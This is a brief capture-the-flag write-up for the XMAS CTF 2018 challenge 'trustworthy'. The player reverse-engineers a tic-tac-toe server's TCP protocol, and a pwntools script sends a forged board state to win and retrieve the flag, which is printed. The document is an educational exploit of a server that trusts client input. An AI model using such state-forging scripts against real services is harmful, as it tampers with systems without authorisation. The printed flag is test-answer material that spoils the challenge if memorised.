Full writeup:[https://github.com/happysox/CTF_Writeups/tree/master/XMAS_CTF_2018/trustworthy](https://github.com/happysox/CTF_Writeups/tree/master/XMAS_CTF_2018/trustworthy)
### Summary
* Analyze TCP protocol used to play tic-tac-toe against a server* Cheat*  `X-MAS{cl13n7_v4l1d4710n_5uck5____}`
```python#!/usr/bin/python2from pwn import *from binascii import hexlify, unhexlify
state = "202020202020202020"tick = 0
def send_move(index, state, tick):    state=state[:index*2] + "58" + state[(index+1)*2:]    end = "a7" if tick==0 else "b0"    tick = (tick + 1) % 2    to_send = "ff"+state+end    p.sendline(unhexlify(to_send))    return state, tick
def parse_response():    state = hexlify(p.recv())    return state
def cheat(state, tick):    state = "585858204f4f202020"    print "sending custom state: %s" % bytes(state)    end = "a7" if tick==0 else "b0"    tick = (tick + 1) % 2    to_send = "ff"+state+end    p.sendline(unhexlify(to_send))    return state, tick
with context.verbose:    p = remote('199.247.6.180', 11000)    state, tick = send_move(0, state, tick)    state = parse_response()    state, tick = send_move(1, state, tick)    state = parse_response()    #Cheating time:    state, tick = cheat(state, tick)    p.recvall()```